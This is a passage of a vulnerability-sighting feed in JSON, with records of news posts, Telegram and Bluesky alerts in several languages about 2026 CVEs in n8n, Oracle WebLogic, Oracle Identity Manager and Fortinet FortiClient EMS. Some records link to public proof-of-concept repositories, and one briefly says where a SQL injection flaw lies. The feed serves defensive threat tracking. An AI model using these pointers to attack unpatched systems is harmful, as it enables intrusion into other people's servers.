"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/369", "content": "CVE-2026-21858\n\nn8n is an open source workflow automation platform. Versions starting with 1.65.0 and below 1.121.0 enable an attacker to access files on the underlying server through execution of certain form-based workflows. A vulnerable workflow could grant access to an unauthenticated remote attacker, resulting in exposure of sensitive information stored on the system and may enable further compromise depending on deployment configuration and workflow usage. This issue is fixed in version 1.121.0.\n\nGitHub Link:\nhttps://github.com/masterwok/PoC-CVE-2026-21858", "creation_timestamp": "2026-08-28T00:00:31.441915Z"}, {"uuid": "6340278b-599f-4c90-ad99-869ec525ec5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21962", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mtyq57ivnb2j", "content": "CVE-2026-21962 (CVSS 10.0) added to CISA KEV. Unauthenticated HTTP access to Oracle WebLogic and HTTP Server. Active exploitation confirmed. Patch now. #infosec https://0daynews.com/articles/2026-08-25-oracle-weblogic-cve-2026-21962-kev", "creation_timestamp": "2026-08-26T16:15:17.185977Z"}, {"uuid": "976279d3-88c9-4d14-8a25-0d02fdacef0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/386", "content": "CVE-2026-21962\n\nVulnerability in the Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: Weblogic Server Proxy Plug-in for Apache HTTP Server, Weblogic Server Proxy Plug-in for IIS).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical da...", "creation_timestamp": "2026-08-28T00:00:31.924262Z"}, {"uuid": "692e175f-3f08-42b2-98fa-5acf6c19162d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21055", "type": "published-proof-of-concept", "source": "Telegram/QdzD9DvvDiZVCCtutZSsvQxTpO1V7_q_erc07mQ-hW5Zm-8", "content": "", "creation_timestamp": "2026-07-18T00:00:45.561247Z"}, {"uuid": "a3302186-07e2-4919-aae5-00dd49e0af44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://t.me/information_security_channel/55796", "content": "CISA Warns of Exploited Oracle WebLogic Vulnerability\nhttps://www.securityweek.com/cisa-warns-of-exploited-oracle-weblogic-vulnerability/\n\nThe vulnerability is tracked as CVE-2026-21962 and it has been widely exploited by threat actors against WebLogic servers.\nThe post CISA Warns of Exploited Oracle WebLogic Vulnerability (https://www.securityweek.com/cisa-warns-of-exploited-oracle-weblogic-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-08-25T20:00:04.019988Z"}, {"uuid": "3aa00248-1c6b-4139-88a8-824361b3ef60", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/87531714-bc4a-4317-8259-d78d7c418d5e", "content": "", "creation_timestamp": "2026-08-24T19:00:02.452676Z"}, {"uuid": "6bc32699-236e-4f39-9ab3-d4788dfa29fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mttyrupzcl2n", "content": "\ud83d\uded1 CVE-2026-21962\nOracle HTTP Server and Oracle Weblogic Server Proxy Plug-in\nCVSS 10.0 / EPSS 43% / KEV \u2705\nTL;DR: Vulnerability in the Oracle HTTP Server, Oracle\u2026\nhttps://cvesentinel.com/report/CVE-2026-21962?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-08-24T19:06:41.622379Z"}, {"uuid": "13fe7102-1176-4b6e-a7f2-df6098ed26ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mttzediw552j", "content": "\ud83d\udd34 EXPLOITED\n\nOracle's WebLogic proxy plug-in has a max-severity flaw (CVSS 10): no login needed to slip past its access controls.\n\nActively exploited per CISA today; exploit code public since January.\n\nBehind Apache/IIS? Patch now. (CVE-2026-21962)", "creation_timestamp": "2026-08-24T19:17:01.158089Z"}, {"uuid": "616a8a2f-8074-4c78-94ba-e46cdc1e9764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/VulnerabilityNews/41465", "content": "Oracle pushes emergency fix for critical Identity Manager RCE flaw\n\nOracle has released an out-of-band security update to fix a critical unauthenticated remote code execution vulnerability in Identity Manager and Web Services Manager tracked as CVE-2026-21992. [...]\nhttps://www.bleepingcomputer.com/news/security/oracle-pushes-emergency-fix-for-critical-identity-manager-rce-flaw/", "creation_timestamp": "2026-07-18T13:00:05.023828Z"}, {"uuid": "414ec810-6b10-40c3-8d34-c8939ea2f5f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/VulnerabilityNews/41489", "content": "Oracle Patches Critical CVE-2026-21992 Enabling Unauthenticated RCE in Identity Manager\n\nOracle has released security updates to address a critical security flaw impacting Identity Manager and Web Services Manager that could be exploited to achieve remote code execution.\nThe vulnerability, tracked as CVE-2026-21992, carries a CVSS score of 9.8 out of a maximum of 10.0.\n\"This vulnerability is remotely exploitable without authentication,\" Oracle said in an advisory. \"If successfully\nhttps://thehackernews.com/2026/03/oracle-patches-critical-cve-2026-21992.html", "creation_timestamp": "2026-07-18T13:00:05.125121Z"}, {"uuid": "40d6e920-e60a-4869-b9a6-43f87e7843d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/VulnerabilityNews/41511", "content": "Oracle Releases Emergency Patch for Critical Identity Manager Vulnerability\n\nCVE-2026-21992 can be used without authentication for remote code execution and it may have been exploited in the wild.\u00a0\nThe post Oracle Releases Emergency Patch for Critical Identity Manager Vulnerability appeared first on SecurityWeek.\nhttps://www.securityweek.com/oracle-releases-emergency-patch-for-critical-identity-manager-vulnerability/", "creation_timestamp": "2026-07-18T13:00:05.215568Z"}, {"uuid": "902907e4-c801-4c36-be7b-70158d5acb32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21962", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mtyv65ksic2i", "content": "Oracle WebLogic CVE-2026-21962 hits CISA KEV \u2014 CVSS 10.0, unauthenticated HTTP vector, exploitation in the wild. If you're running WebLogic, this is not optional. #cve https://0daynews.com/articles/2026-08-25-oracle-weblogic-cve-2026-21962-kev", "creation_timestamp": "2026-08-26T17:45:17.143204Z"}, {"uuid": "5aae82d7-6e47-48ac-b540-caa4505b11b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21628", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/94048", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21628_PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ChiefYoru\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 21:49:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated Remote Code Execution in Astroid Framework 2.0.0 - 3.3.10 for Joomla\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-18T23:00:03.319928Z"}, {"uuid": "a5c3cb32-1cff-444d-a75f-a338555d6730", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "published-proof-of-concept", "source": "https://t.me/VulnerabilityNews/41489", "content": "Oracle Patches Critical CVE-2026-21992 Enabling Unauthenticated RCE in Identity Manager\n\nOracle has released security updates to address a critical security flaw impacting Identity Manager and Web Services Manager that could be exploited to achieve remote code execution.\nThe vulnerability, tracked as CVE-2026-21992, carries a CVSS score of 9.8 out of a maximum of 10.0.\n\"This vulnerability is remotely exploitable without authentication,\" Oracle said in an advisory. \"If successfully\nhttps://thehackernews.com/2026/03/oracle-patches-critical-cve-2026-21992.html", "creation_timestamp": "2026-07-19T00:00:25.601207Z"}, {"uuid": "add820f8-e913-46b4-b522-fe4724db5e2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "exploited", "source": "https://t.me/VulnerabilityNews/41511", "content": "Oracle Releases Emergency Patch for Critical Identity Manager Vulnerability\n\nCVE-2026-21992 can be used without authentication for remote code execution and it may have been exploited in the wild.\u00a0\nThe post Oracle Releases Emergency Patch for Critical Identity Manager Vulnerability appeared first on SecurityWeek.\nhttps://www.securityweek.com/oracle-releases-emergency-patch-for-critical-identity-manager-vulnerability/", "creation_timestamp": "2026-07-19T00:00:13.090994Z"}, {"uuid": "a7933a38-d00a-475d-9b92-2888c53dae71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-18)", "content": "", "creation_timestamp": "2026-07-19T10:00:07.012732Z"}, {"uuid": "d93ed436-80d7-426a-9cd4-4efc159fc110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/vritrasecnews.bsky.social/post/3mtu4lvvykr2w", "content": "CISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog , based on evidence of active exploitation. CVE-2026-21962 Oracle HTTP Server and Oracle Weblog...\n\n\ud83d\udd17 https://www.cisa.gov/news-events/alerts/2026/08/24/cisa-adds-one-known-exploited-vulnerability-catalog", "creation_timestamp": "2026-08-24T20:14:56.269555Z"}, {"uuid": "6766fa8e-b03e-4459-908c-e58c33837702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/oracle-security-advisory-january-2026-quarterly-rollup-av26-042", "content": "", "creation_timestamp": "2026-08-24T20:15:03.710066Z"}, {"uuid": "4f5cf196-34fd-4cb2-9b3d-5f655647a808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mtu4rub2w524", "content": "\ud83c\udf11 HADAL \u00b7 actively exploited critical\nCVE-2026-21962: Vulnerability in the Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: \u2026\nCVSS 10 \u00b7 EPSS 43.2% \u00b7 CISA KEV\nhttps://beta.vulnsea.com/cve/CVE-2026-21962\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-08-24T20:18:15.894496Z"}, {"uuid": "9b1a84ce-140f-4139-8a48-8026857d1899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-18)", "content": "", "creation_timestamp": "2026-07-19T10:15:10.658217Z"}, {"uuid": "53971026-6677-4f43-8aff-56c494517305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-18)", "content": "", "creation_timestamp": "2026-07-19T10:15:10.707434Z"}, {"uuid": "c7187964-695a-416b-a6e8-5482c7ea6575", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/critical_bug/1699", "content": "\ud83d\udea8 \u0412\u0442\u043e\u0440\u043e\u0439 \u0443\u0434\u0430\u0440 \u0437\u0430 \u043c\u0435\u0441\u044f\u0446: \u043d\u043e\u0432\u044b\u0439 Zero-Day \u0432 Fortinet FortiClient EMS\n\nCVE-2026-35616 \ud83d\udd34 CVSS: 9.1 Critical\n\nFortinet \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 FortiClient EMS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438! \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0435\u0449\u0451 31 \u043c\u0430\u0440\u0442\u0430 \u2014 \u0437\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430! \ud83d\ude31\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430:\n\u041d\u0435\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (CWE-284) \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 API-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u2014 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0435\u0433\u043e \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f. \u041e\u0434\u0438\u043d \u0437\u0430\u043f\u0440\u043e\u0441 \u2192 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0439 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u044c\u044e!\n\n\ud83c\udfaf \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0442\u0430\u043a \u043e\u043f\u0430\u0441\u043d\u043e?\nFortiClient EMS \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 \u0432\u0441\u0435\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432 \u0432 \u0441\u0435\u0442\u0438. \u0412\u0437\u043b\u043e\u043c\u0430\u0432 EMS, \u0445\u0430\u043a\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043a\u043b\u044e\u0447\u0438 \u043e\u0442 \u0432\u0441\u0435\u0433\u043e \u043a\u043e\u0440\u043e\u043b\u0435\u0432\u0441\u0442\u0432\u0430 \ud83d\udc51\n\n\ud83d\udea8 \u042d\u0442\u043e \u0443\u0436\u0435 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 FortiClient EMS \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 (\u043f\u043e\u0441\u043b\u0435 CVE-2026-21643). Fortinet, \u0442\u044b \u0432 \u043f\u043e\u0440\u044f\u0434\u043a\u0435? \ud83e\udd14\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441?\n1\ufe0f\u20e3 \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e: \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b 7.4.5 \u0438 7.4.6\n2\ufe0f\u20e3 \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u0445\u043e\u0442\u0444\u0438\u043a\u0441 \u043e\u0442 Fortinet\n3\ufe0f\u20e3 \u0423\u0431\u0440\u0430\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 (\u0442\u043e\u043b\u044c\u043a\u043e VPN!)\n4\ufe0f\u20e3 \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043b\u043e\u0433\u0438 API \u043d\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0441 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n\ud83d\udc8e \u042d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445 \u2014 VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: vip.eh.su \ud83d\ude80\n\n#Fortinet #CVE #ZeroDay #RCE #FortiClient #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-19T16:00:10.844204Z"}, {"uuid": "993cef5f-8187-469a-8646-b34ee49a55c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/19073", "content": "APT28 Uses Microsoft Office CVE-2026-21509 in Espionage-Focused Malware Attacks \u2013 thehackernews.com\n\nTue, 03 Feb 2026 17:12:00", "creation_timestamp": "2026-07-19T16:00:06.533704Z"}, {"uuid": "f8adaa70-60b1-4c04-ac51-069fb927e641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/20224", "content": "Oracle Patches Critical CVE-2026-21992 Enabling Unauthenticated RCE in Identity Manager \u2013 thehackernews.com\n\nSat, 21 Mar 2026 18:24:00", "creation_timestamp": "2026-07-19T16:00:05.826874Z"}, {"uuid": "4bc7f1a8-2ff8-46e0-9384-8d98c52bef12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/19641", "content": "APT28 Tied to CVE-2026-21513 MSHTML 0-Day Exploited Before Feb 2026 Patch Tuesday \u2013 thehackernews.com\n\nMon, 02 Mar 2026 18:36:00", "creation_timestamp": "2026-07-19T16:00:06.236640Z"}, {"uuid": "d7579956-22a4-47fa-a948-65afb16102f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/19668", "content": "Google Confirms CVE-2026-21385 in Qualcomm Android Component Exploited \u2013 thehackernews.com\n\nTue, 03 Mar 2026 15:08:00", "creation_timestamp": "2026-07-19T16:00:06.262218Z"}, {"uuid": "d33f6d97-2f8c-466a-b3c4-0b310acaa664", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/18937", "content": "Microsoft Office Zero-Day (CVE-2026-21509) - Emergency Patch Issued for Active Exploitation \u2013 thehackernews.com\n\nTue, 27 Jan 2026 18:37:00", "creation_timestamp": "2026-07-19T16:00:06.454568Z"}, {"uuid": "53102f61-b963-43a7-9f95-ea4765c964c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "published-proof-of-concept", "source": "Telegram/dX35wl1WONn3hjC2VquHy4I4CJGif5LqrCMx6vW-TyG7RUE", "content": "", "creation_timestamp": "2026-08-31T00:00:49.505372Z"}, {"uuid": "409adb01-ae54-4530-a641-c2e42ce983ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/critical_bug/1682", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVE-2026-21643: SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 Fortinet FortiClient EMS", "creation_timestamp": "2026-07-19T16:00:11.495329Z"}, {"uuid": "3dc2006d-226b-4bc6-9071-b08db0bbc0cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/critical_bug/1680", "content": "\ud83d\udc31 \u042f \u0432 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445. \u042f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u042f \u0432\u0435\u0437\u0434\u0435... (\u044d\u0442\u043e \u043d\u0435 \u044f, \u044d\u0442\u043e CVE-2026-21643)", "creation_timestamp": "2026-07-19T16:00:11.426147Z"}, {"uuid": "f0a9bcb2-2aa4-4f74-ae0a-34f29a3549df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/critical_bug/1681", "content": "\ud83d\udd25 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 FortiClient EMS: CVE-2026-21643 \ud83d\udd34 CVSS 9.8\n\n\u0412 Fortinet FortiClient Endpoint Management Server (EMS) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438! \ud83d\ude31\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f (CWE-89) \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u0430 (tenant). HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 SQL-\u0437\u0430\u043f\u0440\u043e\u0441 \u043a PostgreSQL \u0431\u0435\u0437 \u043e\u0447\u0438\u0441\u0442\u043a\u0438. \u0421\u0430\u043c\u043e\u0435 \u0441\u0442\u0440\u0430\u0448\u043d\u043e\u0435 \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0414\u041e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 